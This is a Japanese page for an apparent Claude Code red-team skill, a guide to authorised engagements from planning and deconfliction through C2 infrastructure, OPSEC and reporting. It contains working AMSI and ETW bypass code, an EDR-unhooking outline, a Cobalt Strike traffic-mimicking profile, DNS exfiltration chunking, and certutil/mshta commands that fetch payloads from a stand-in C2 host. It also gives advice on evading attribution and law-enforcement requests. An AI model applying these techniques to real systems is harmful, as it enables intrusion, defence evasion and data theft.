offensive-advanced-redteam について
組織の検知・対応能力を検証する、許可されたレッドチーム演習の全工程ガイドです。スコープやデコンフリクションの計画に加え、インフラ、C2、OPSEC、データ管理、報告を扱います。
主な機能
- 01スコープと実施規則の計画
- 02デコンフリクションと行動記録
- 03階層型インフラの構築
- 04C2 通信と代替経路の計画
- 05OPSEC と痕跡の管理
- 06ATT&CK に基づく報告と振り返り
活用シーン
- 01許可されたレッドチーム演習の計画
- 02防御担当者との活動調整
- 03演習ログの維持と収集データの管理
- 04パープルチームの振り返りで検知ギャップを確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-advanced-redteamインストール後、Claude Code で/offensive-advanced-redteamを入力して読み込まれたか確認します。
詳細
高度なレッドチーム作戦
レッドチーム演習では、組織の人員、プロセス、テクノロジーを標的とする現実世界の敵対者を模擬します。固定された範囲内で脆弱性の発見を最大化する侵入テストとは異なり、レッドチーム作戦では、具体的な目標を追求しながら防御側を回避し、検知と対応の能力をテストします。対象範囲を定める交戦規則に従って活動し、実行するすべての行動は慎重に行い、記録し、元に戻せるものでなければなりません。このスキルでは、初期計画から最終報告会まで、演習のライフサイクル全体を扱います。
クイックワークフロー
- クライアントと対象範囲、交戦規則、デコンフリクション手順について合意します。
- リダイレクター、運用歴の長いドメイン、有効な TLS を備えた階層型攻撃インフラストラクチャを構築します。
- C2 プロファイルを設定し、標的の正規のトラフィックパターンに紛れ込ませます。
- 厳格な OPSEC を維持し、すべての行動を記録しながら攻撃チェーンを実行します。
- 暗号化を用いてデータを収集、保管し、全期間にわたって証拠保全の連鎖を維持します。
- テスト済みの回避手法を使って、エンドポイントおよびネットワークの防御を回避します。
- MITRE ATT&CK とのマッピングを含む調査結果を文書化し、体系的なレポートを提出します。
- パープルチーム報告会を実施し、検知のギャップと修正策を検証します。
演習の計画
すべてのレッドチーム演習は、オペレーターとクライアントの双方を保護する計画から始まります。この段階を省略すると、対象範囲に関する争い、法的リスク、運用上の失敗につながります。
対象範囲と目標
何をテストするのか、何をもって成功とするのかを定義します。一般的な目標の種類には、データの持ち出し(データベースから特定のレコードを取得する)、ドメイン支配(Domain Admin または同等の権限を取得する)、ビジネスプロセスの妨害(重要なワークフローを停止できることを実証する)、物理的アクセス(制限区域への立ち入りを得る)があります。
対象外の項目を明確に文書化します。これには、ダウンタイムに耐えられない本番システム、許可のないサードパーティの SaaS プラットフォーム、破壊的な行為、特定の個人(役員、法務顧問)に対するソーシャルエンジニアリングが含まれます。
交戦規則(ROE)
ROE は署名済みの法的文書です。以下を含める必要があります。
- 許可期間:活動が許可される正確な日付と時間。
- 許可された手法:許可される ATT&CK 戦術(例:物理的アクセスなし、サプライチェーン攻撃なし)。
- 通知のしきい値:一時停止してクライアントに通知しなければならない条件(例:活動中の脅威アクターを発見した場合、児童搾取に関する資料を発見した場合、誤ってデータを破壊した場合)。
- 緊急連絡先:メールだけでなく、即時のデコンフリクションに使える 24 時間対応の電話番号。
- 法的保護:Computer Fraud and Abuse Act(米国)、Computer Misuse Act(英国)、または同等の現地法を明記した、明示的な書面による許可。
デコンフリクション
観測された活動が自分たちの作戦なのか、実際の脅威なのかを防御側が確認できるよう、デコンフリクションの手順を確立します。一般的な方法は次のとおりです。
- 信頼できる担当者モデル:演習が実施されていることを把握している、防御側の 1~2 名の担当者を定め、安全なチャネルを通じて自分たちの活動を確認または否定できるようにします。
- 合言葉の仕組み:ツールまたはトラフィックに固有の合言葉を埋め込み、防御側が信頼できる担当者に問い合わせられるようにします。
- デコンフリクションログ:実行したすべての行動をタイムスタンプ付きで記録し、暗号化チャネルを介してほぼリアルタイムで信頼できる担当者と共有します。
# Example deconfliction log entry
2026-08-25T14:32:00Z | OPERATOR: kai | ACTION: lateral-movement
TARGET: 10.10.5.22 (WORKSTATION-FIN03)
TECHNIQUE: T1021.006 (Windows Remote Management)
TOOL: evil-winrm via SOCKS proxy
NOTES: creds from LSASS dump on WORKSTATION-FIN01
DECONF-CODE: REDTIGER-4482
通信セキュリティ
オペレーター間の通信には、すべてエンドツーエンド暗号化チャネルを使用します。暗号化されていないメールや Slack で標的の詳細について話し合ってはいけません。リアルタイムの調整には、専用の暗号化メッセージングプラットフォーム(Signal、Wire、またはセルフホスト可能な Matrix インスタンス)を使用します。ファイルやログは、相互認証 TLS を使用するか、GPG で暗号化したアーカイブを介して転送します。
インフラストラクチャのセットアップ
インフラストラクチャこそが、レッドチーム演習と Kali VM から実行するペネトレーションテストを分けるものです。隠れ蓑となる身元だけに帰属し、回復力があり、1つのアセットが露見しても作戦全体が危険にさらされないよう分離されたインフラストラクチャの構築に時間をかけてください。インフラストラクチャに関する活動を MITRE ATT&CK Resource Development(TA0042)に対応付けます。
階層型アーキテクチャ
インフラストラクチャを少なくとも3つの階層に分割します。
| 階層 | 目的 | 露見許容度 | 例 |
|---|---|---|---|
| T1 - 配信 | フィッシング、ペイロードのホスティング | 高(露見を想定) | 運用歴の長いドメイン + Mailgun |
| T2 - 短距離C2 | オペレーターの対話型セッション | 中 | VPS + Cloudflare トンネル |
| T3 - 長距離C2 | 永続的なコールバック | 低(何としても保護) | DNS-over-HTTPS ビーコン |
各階層では、別々のドメイン、別々の VPS プロバイダー、別々のオペレーターアカウントを使用します。 T2 が露見した場合でも、再度フィッシングを行わずに T3 経由で対話型アクセスを再確立できます。
ドメインの運用歴とレピュテーション
演習の少なくとも14~30日前までにドメインを登録します。運用歴を積む期間中は、次の作業を行います。
# Set up a basic landing page to build categorization
sudo certbot certonly --standalone -d ops-portal.example.com
echo "<html><body>Coming soon</body></html>" > /var/www/html/index.html
# Submit to categorization services
# Visit: https://sitereview.bluecoat.com/
# Visit: https://www.fortiguard.com/webfilter
# Categorize as "Business" or "Technology" - never "Uncategorized"
# Verify categorization after 7-10 days
curl -s "https://sitereview.bluecoat.com/resource/lookup" \
-d "url=ops-portal.example.com" | jq .
ターゲットの業界に溶け込むドメイン名を選びます。ターゲットが金融会社の場合、ゲームサイトに似たドメインよりも、フィンテック SaaS 製品に似たドメインのほうがもっともらしくなります。
リダイレクターとトラフィックのフィルタリング
チームサーバーをインターネットに直接公開してはいけません。トラフィックをフィルタリングし、正規のビーコンコールバックだけを転送するリダイレクターを使用します。
# /etc/nginx/sites-available/redirector.conf
# Smart redirector: forward only traffic matching your C2 profile
server {
listen 443 ssl;
server_name ops-portal.example.com;
ssl_certificate /etc/letsencrypt/live/ops-portal.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/ops-portal.example.com/privkey.pem;
# Only forward requests with the correct URI and User-Agent
location /api/v2/session {
if ($http_user_agent !~* "Microsoft-Delivery-Optimization") {
return 302 https://www.microsoft.com;
}
proxy_pass https://127.0.0.1:8443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Everything else redirects to a legitimate site
location / {
return 302 https://www.microsoft.com;
}
}
チームサーバーの管理トラフィックには、管理ポートを公開するのではなく、Cloudflare Zero Trust トンネルまたは SSH トンネルを使用します。
# Bind team server to localhost only
./teamserver 127.0.0.1 <password> /path/to/malleable.profile
# Create a Cloudflare tunnel for operator access
cloudflared tunnel create redteam-mgmt
cloudflared tunnel route dns redteam-mgmt mgmt.internal-ops.example.com
cloudflared tunnel run --url tcp://127.0.0.1:50050 redteam-mgmt
# Operators connect through the tunnel
# On operator machine:
cloudflared access tcp --hostname mgmt.internal-ops.example.com --url 127.0.0.1:50050
VPS と TLS 証明書
帰属追跡への耐性を高めるため、暗号資産またはプリペイドカードを受け付ける VPS プロバイダーを使用します。適正な手続きを経ずに、法執行機関へインフラストラクチャの詳細を安易に共有するプロバイダーは避けてください。必ず公的 CA が発行した有効な TLS 証明書を使用します。自己署名証明書はネットワーク監視で簡単にフィンガープリントされます。
# Generate a certificate with certbot
sudo certbot certonly --standalone -d c2.example.com
# Convert to Java Keystore for Cobalt Strike
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem \
-out c2.pkcs12 -name c2 -passout pass:changeit
keytool -importkeystore -srckeystore c2.pkcs12 -srcstoretype pkcs12 \
-destkeystore c2.store -deststorepass changeit -srcstorepass changeit
C2 のトレードクラフト
コマンド&コントロールは作戦の基盤です。C2 トラフィックは、ターゲットの正規のネットワーク活動に溶け込み、防御側の検査をすり抜ける必要があります。MITRE ATT&CK Command and Control(TA0011)に対応付けます。
可変プロファイルとトラフィックの偽装
可変プロファイルを作成する前に、ターゲットの正規のトラフィックを調査します。ターゲットが Microsoft 365 を利用しているなら、ビーコンのトラフィックは Office 365 API 呼び出しに似せます。AWS を多用しているなら、AWS SDK のトラフィックパターンを模倣します。
# Cobalt Strike malleable C2 profile excerpt - Microsoft 365 blend
set sleeptime "60000";
set jitter "37";
set useragent "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0)";
set host_stage "false";
https-certificate {
set keystore "c2.store";
set password "changeit";
}
http-get {
set uri "/api/v2.0/me/messages";
client {
header "Accept" "application/json";
header "Authorization" "Bearer eyJ0eXAiOi...";
metadata {
base64url;
prepend "ocp-client-id=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json; odata.metadata=minimal";
header "X-MS-Request-Id" "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
output {
base64url;
prepend "{\"@odata.context\":\"https://outlook.office.com/api/v2.0/$metadata#Me/Messages\",\"value\":[{\"Body\":{\"Content\":\"";
append "\"}}]}";
print;
}
}
}
http-post {
set uri "/api/v2.0/me/sendmail";
client {
header "Content-Type" "application/json";
id {
base64url;
prepend "client-request-id=";
header "Cookie";
}
output {
base64url;
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64url;
prepend "{\"status\":\"sent\",\"id\":\"";
append "\"}";
print;
}
}
}
スリープ、ジッター、ビーコンの管理
積極的にキーボードを操作しているセッション以外では、スリープ間隔をゼロにしてはいけません。その場合でも、1~3秒を推奨します。アイドル状態のビーコンには、コールバックのタイミングに対する統計分析を回避するため、ジッターを大きくしてスリープ間隔を長く設定します。
| ビーコンの種類 | スリープ | ジッター | 用途 |
|---|---|---|---|
| 対話型(T2) | 5~10秒 | 30~50% | オペレーターのアクティブなセッション |
| アイドル(T2) | 60~300秒 | 30~50% | タスクの待機 |
| 長距離(T3) | 12~24時間 | 50% | 永続化のみ |
| 持ち出し | 30~60秒 | 20% | データのステージング中 |
すべてのビーコンに停止日を設定します。演習から数か月後に、忘れられたビーコンがコールバックすると、法的責任やクライアントの混乱を招きます。
フォールバックチャネル
1つの通信経路を失ってもインプラントを失わないよう、フォールバックチャネルを備えた C2 を設計します。一般的なフォールバックの順序は次のとおりです。
- プライマリ:CDN 経由でドメイン A に HTTPS 接続。
- セカンダリ:ドメイン B に DNS-over-HTTPS 接続。
- ターシャリ:ドメイン C に DNS TXT レコードを照会。
- 緊急:ハードコードされた IP への ICMP または生の TCP 接続(最後の手段。検出リスクが高い)。
インプラントが各チャネルを順番に試し、指数バックオフを行うように設定します。すべてのチャネルに失敗した場合は、ノイズの多い接続失敗を繰り返すのではなく、インプラントを休止状態にして定期的に再試行させます。
OPSEC の規律
OPSEC の失敗は、エンゲージメントを早期に終わらせます。実行するすべての行動は痕跡を残すため、それらの痕跡を最小限に抑え、管理し、最終的に消去することがあなたの役割です。MITRE ATT&CK の Defense Evasion(TA0005)に対応します。
アトリビューションの回避
レッドチームとしての身元を、実際の身元やほかのエンゲージメントから切り離します。
- エンゲージメントに関連するすべての閲覧と登録には、専用の VPN または Tor を使用します。
- エンゲージメント専用の偽名と使い捨てのメールアドレスを使って、ドメインと VPS を登録します。
- エンゲージメント間でインフラ、ドメイン、ツールを決して再利用しません。
- 納品前に、すべてのファイルからメタデータを削除します(画像の EXIF、Office ドキュメントの作成者情報、コンパイル済みバイナリのビルドパス)。
# Strip metadata from a phishing document
exiftool -all= phishing_doc.docx
# Verify no identifying metadata remains
exiftool phishing_doc.docx | grep -iE "author|creator|company|producer"
# Strip build paths from a compiled binary (Linux)
strip --strip-all implant
objcopy --remove-section=.note.gnu.build-id implant
ツールのシグネチャ管理
商用ツールとオープンソースツールには、既知のシグネチャがあります。デフォルトの痕跡を避けるため、ツールを変更します。
- Cobalt Strike:デフォルトの名前付きパイプのパターン、ウォーターマーク、プロセスインジェクションの手法を変更します。デフォルトのプロファイルは決して使用しません。
- Mimikatz:ソースからコンパイルし、関数名をランダム化して文字列を暗号化するか、
nanodump、PPLdump、またはcomsvcs.dllを使った LSASS ダンプなどの代替手段を使用します。 - Impacket:防御側がシグネチャで検出するデフォルトのサービス名、パイプ名、バナー文字列を変更します。
インジケーターの管理とクリーンアップ
ターゲット環境に持ち込んだすべてのインジケーターについて、常に一覧を管理します。これには、配置したファイル、変更したレジストリキー、作成したサービス、追加したスケジュール済みタスク、作成したユーザーアカウントが含まれます。エンゲージメントの終了時に、すべての痕跡を削除するか、クライアントが自身でクリーンアップできるよう、完全な一覧を提供します。
# Example cleanup script - remove all operator artifacts
# Run this ONLY after documenting everything in your engagement log
# Remove dropped files
Remove-Item -Force "C:\ProgramData\updater.exe"
Remove-Item -Force "C:\Windows\Temp\debug.log"
# Remove persistence mechanisms
Unregister-ScheduledTask -TaskName "WindowsUpdateCheck" -Confirm:$false
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "Updater"
# Remove created accounts
Remove-LocalUser -Name "svc_backup$"
# Clear operator event log entries (provide log of cleared entries to client)
# WARNING: Only do this if explicitly authorized in the ROE
データの取り扱い
エンゲージメント中に収集するデータはすべて機密情報です。不適切な取り扱いは法的責任を招き、クライアントの信頼を損ないます。MITRE ATT&CK の Collection(TA0009)および Exfiltration(TA0010)に対応します。
収集と暗号化
収集したデータはすべて、直ちに暗号化します。暗号化せずに、平文の認証情報、個人を特定できる情報(PII)、または機密性の高い業務データをオペレーターのマシンやクラウドストレージに保存してはいけません。
# Encrypt collected data before transfer
tar czf - loot/ | gpg --symmetric --cipher-algo AES256 \
--batch --passphrase-file /path/to/engagement.key > loot.tar.gz.gpg
# Transfer via SCP to your secure evidence server
scp loot.tar.gz.gpg [email protected]:/engagements/2026-CLIENT/
# Verify integrity
sha256sum loot.tar.gz.gpg > loot.tar.gz.gpg.sha256
ステージングと持ち出し
持ち出す前に、管理された場所にデータをステージングします。ソースシステムから直接持ち出さず、ステージングディレクトリにコピーし、圧縮、暗号化したうえで、C2 チャネルまたは専用の持ち出し経路を通じて転送します。
大量のデータを扱う場合は、DLP のしきい値に達するのを避けるため、DNS 経由で分割転送するか、複数の HTTP POST リクエストに分けてファイルを送信します。
# Chunk a file for exfiltration over DNS TXT queries
import base64, os
def chunk_file(filepath, chunk_size=180):
with open(filepath, 'rb') as f:
data = base64.b32encode(f.read()).decode()
chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)]
return chunks
# Each chunk becomes a DNS query: <chunk>.exfil.example.com
# Reassemble on your DNS server from query logs
証拠保全の連鎖
すべての証拠について、フォレンジック基準の証拠保全の連鎖を維持します。
- 収集時にすべてのファイルのハッシュを計算します(最低でも SHA-256)。
- 誰が、いつ、何のためにデータにアクセスしたかを記録します。
- 暗号化され、アクセス制御されたストレージに証拠を保管します。
- 合意した保持期間(通常、報告書提出後 30~90 日)が過ぎたら、すべてのクライアントデータを破棄します。
回避手法
最新のエンタープライズ環境では、EDR、AMSI、ETW ベースのテレメトリ、行動分析が導入されています。アラートを発生させずにこれらの環境で活動するための手法が必要です。MITRE ATT&CK の Defense Evasion(TA0005)に対応します。
AMSI のバイパス
Antimalware Scan Interface(AMSI)は、PowerShell、VBScript、JScript、および .NET アセンブリの読み込みを検査します。これらのコンテキストで不審なコマンドを実行する前に、AMSI をバイパスします。
# AMSI bypass via memory patching (patches AmsiScanBuffer to return clean result)
# This is a well-known technique; modify the pattern to avoid static signatures
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $a.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)
# Alternative: patch the AmsiScanBuffer function directly
# Locate amsi.dll in memory and overwrite the scan function entry point
# with a RET instruction (0xC3) so it returns immediately
ETW のパッチ適用
Event Tracing for Windows は、テレメトリを EDR センサーに送信します。ETW にパッチを適用すると、このチャネルを通じてアクティビティが記録されるのを防げます。
// Patch EtwEventWrite in ntdll.dll to neutralize ETW logging
// Find the function address and overwrite with a RET (xC3)
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Change memory protection, write 0xC3 (ret), restore protection
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);
フック解除とダイレクトシステムコール
EDR 製品は、API 呼び出しを監視するために ntdll.dll の関数にフックを設定します。クリーンな ntdll.dll のコピーを読み込むか、ダイレクトシステムコールを使用して、これらのフックを回避します。
// Unhooking: read a clean copy of ntdll.dll from disk and overwrite
// the .text section of the loaded ntdll in memory
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Parse PE headers, find .text section, overwrite hooked .text with clean copy
// This removes all EDR inline hooks from ntdll functions
// Direct syscalls: call the kernel directly, bypassing ntdll entirely
// Use tools like SysWhispers3 or HellsGate to resolve syscall numbers at runtime
// Example: NtAllocateVirtualMemory via direct syscall instead of VirtualAllocEx
SysWhispers の手法では、システムコールを直接呼び出すアセンブリスタブを生成し、ユーザーランドのフックを完全にバイパスします。HellsGate と HalosGate は、実行時に ntdll.dll のエクスポートテーブルを読み取ることで、システムコール番号を動的に解決します。
LOLBins と Living Off the Land
カスタムツールよりも、Windows に組み込まれているバイナリを優先してください。防御側はこれらのバイナリの実行を想定しているため、コマンドライン引数が不審でない限り、アラートを出さない場合があります。
| LOLBin | ユースケース | ATT&CK テクニック |
|---|---|---|
certutil.exe | ファイルのダウンロード、base64 のデコード | T1105, T1140 |
mshta.exe | HTA ペイロードの実行 | T1218.005 |
rundll32.exe | DLL の読み込み、エクスポートの実行 | T1218.011 |
regsvr32.exe | COM 経由でスクリプトレットを実行 | T1218.010 |
wmic.exe | プロセスの作成、ラテラルムーブメント | T1047 |
bitsadmin.exe | BITS 経由でファイルをダウンロード | T1197 |
curl.exe | ファイルのダウンロード(Windows 10 以降) | T1105 |
msbuild.exe | インライン C# タスクの実行 | T1127.001 |
# Download a file using certutil (common LOLBin technique)
certutil -urlcache -split -f https://c2.example.com/payload.bin C:\Windows\Temp\payload.bin
# Execute an HTA payload via mshta
mshta https://c2.example.com/payload.hta
# Use MSBuild to execute inline C# (bypasses application whitelisting)
# Requires a .csproj or .xml file with inline Task containing your code
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml
レポート
レポートは、レッドチームのエンゲージメントにおける主要な成果物です。経営幹部と技術担当の防御チームの両方に、調査結果を伝える必要があります。
レポートの構成
対象者ごとに、レポートを明確に区分されたセクションに整理してください。
- エグゼクティブサマリー(1~2 ページ):技術的な用語を使わずに、ビジネスへの影響を説明します。攻撃者は何を達成できるでしょうか?組織にとってのリスクは何でしょうか?
- エンゲージメントの概要:範囲、目標、タイムライン、方法論、および発生した制約を記載します。
- 攻撃の経過:初期アクセスから目標達成までの攻撃チェーンを、タイムスタンプとスクリーンショットを添えて時系列で説明します。
- 技術的な調査結果:各調査結果について、説明、影響を受けたシステム、MITRE ATT&CK へのマッピング、証拠(スクリーンショット、ログ)、リスク評価、および修復の推奨事項を記録します。
- MITRE ATT&CK ヒートマップ:エンゲージメント中に使用したすべてのテクニックを視覚的にマッピングし、検知に成功した箇所と失敗した箇所を強調します。
- 修復ロードマップ:取り組みに必要な労力と影響度に応じて分類した、優先順位付きの推奨事項リストです。
- インジケーターの付録:エンゲージメント中に導入されたすべての IOC(IP、ドメイン、ファイルハッシュ、ユーザーアカウント、レジストリキー)の完全な一覧です。
パープルチームの振り返り
振り返りは、エンゲージメントが最大の価値をもたらす場です。詳細が新鮮なうちに、レポート提出から 1 週間以内に実施してください。
- レッドチームとブルーチームの両方が参加し、攻撃チェーンを段階ごとに確認します。
- 各段階で、ブルーチームがこれを検知したかどうかを確認します。検知した場合はどれくらい早かったか、検知できなかった場合はその理由を尋ねます。
- 具体的な検知のギャップを特定し、ログ記録、アラート、またはツールの不足に関連付けます。
- 監視を回避したテクニックについて、協力して検知ルールを作成します。
- 防御側がツールを調整できるよう、管理された環境で特定のテクニックを再実行します。
エンゲージメントのシナリオ
侵害を前提としたシナリオ
初期の足掛かり(標準ユーザーの認証情報を持つワークステーション)を得た状態から開始し、侵入後の活動、つまりラテラルムーブメント、権限昇格、目標達成に焦点を当てます。初期アクセスに時間を費やさずに、内部の検知と対応をテストします。主に TA0008(ラテラルムーブメント)、TA0004(権限昇格)、TA0006(認証情報へのアクセス)にマッピングします。
外部から内部への侵入
インターネットから始まる攻撃チェーン全体を対象とします。OSINT、フィッシングまたは外部からのエクスプロイト、初期アクセス、および侵入後の一連の活動をすべて含みます。TA0043(偵察)から TA0010(情報の持ち出し)まで、キルチェーン全体をテストします。
内部脅威
正当な認証情報と物理的なアクセス権を持つ悪意ある従業員をシミュレートします。内部関係者がどのような損害を与えられるか、つまり役割を超えたデータへのアクセス、知的財産の持ち出し、またはシステムの妨害に焦点を当てます。データ損失防止、アクセス制御、行動分析をテストします。
物理とサイバーの複合シナリオ
物理的な侵入(共連れ、バッジの複製、ピッキング)とサイバー活動を組み合わせます。物理的なアクセス時にネットワークインプラント(ドロップボックス)を設置し、それを初期の足掛かりとして使用します。物理セキュリティ制御とサイバー防御を併せてテストします。
エンゲージメントのチートシート
PHASE KEY ACTIONS ATT&CK TACTIC
-----------------------------------------------------------------------------------
Planning Scope, ROE, deconfliction, legal auth --
Infrastructure Domain aging, VPS, redirectors, TLS TA0042
Initial Access Phishing, exploitation, physical TA0001
Execution Loader -> minimal implant -> full C2 TA0002
Persistence Registry, scheduled tasks, DLL hijack TA0003
Priv Escalation Token manipulation, UAC bypass, kerberoast TA0004
Defense Evasion AMSI bypass, ETW patch, unhook, LOLBins TA0005
Credential Access LSASS dump, kerberoast, DCSync TA0006
Discovery AD enumeration, network scanning TA0007
Lateral Movement WinRM, SMB, DCOM, RDP hijack TA0008
Collection Stage sensitive data, encrypt TA0009
Exfiltration DNS tunnel, HTTPS chunked, cloud storage TA0010
C2 Malleable profiles, sleep/jitter, fallbacks TA0011
Cleanup Remove artifacts, verify, document --
Reporting Narrative, findings, ATT&CK map, debrief --
OPSEC RULES (NON-NEGOTIABLE)
- Team server binds to 127.0.0.1 only; all external access via redirector/tunnel
- Kill dates on every beacon; no exceptions
- Zero-sleep only during active hands-on-keyboard; 60s+ otherwise
- Encrypt all collected data immediately; never store plaintext credentials
- Separate infrastructure per tier; burning T1 must not expose T3
- Strip metadata from all delivered files
- Log every action with timestamp, target, technique, and deconfliction code
- Never reuse infrastructure, domains, or tooling across engagements
INFRASTRUCTURE QUICK REFERENCE
Redirector: nginx/apache with URI + User-Agent filtering
Tunnel: cloudflared, SSH, or WireGuard to team server localhost
Domain age: minimum 14 days; 30 preferred; categorize within first week
TLS: Let's Encrypt or commercial CA; never self-signed
DNS: separate registrar from hosting; enable WHOIS privacy
C2 PROFILE CHECKLIST
[ ] host_stage = false (disable staging)
[ ] sleep/jitter configured per beacon tier
[ ] User-Agent matches target's legitimate traffic
[ ] URIs mimic real application endpoints
[ ] Memory obfuscation enabled (sleep_mask, obfuscate)
[ ] Valid TLS certificate in keystore
[ ] Spawn-to process set to legitimate binary (not rundll32)
[ ] Named pipes randomized (not default CS pattern)
主要な参考資料
- MITRE ATT&CK エンタープライズマトリックス:https://attack.mitre.org/matrices/enterprise/
- MITRE ATT&CK Navigator:https://mitre-attack.github.io/attack-navigator/
- Cobalt Strike を使用したレッドチーム運用(Raphael Mudge):https://www.cobaltstrike.com/training
- SpecterOps のレッドチーム運用コース:https://specterops.io/training
- CISA レッドチーム共有ガイド:https://www.cisa.gov/resources-tools/resources/cisa-red-team-sharing-guide
- TIBER-EU フレームワーク(脅威インテリジェンスに基づく倫理的なレッドチーム演習):https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/html/index.en.html
- PTES(ペネトレーションテスト実施標準):http://www.pentest-standard.org/
- LOLBAS プロジェクト(環境に標準搭載されたバイナリの活用):https://lolbas-project.github.io/
- SysWhispers3:https://github.com/klezVirus/SysWhispers3
- HellsGate / HalosGate:https://github.com/am0nsec/HellsGate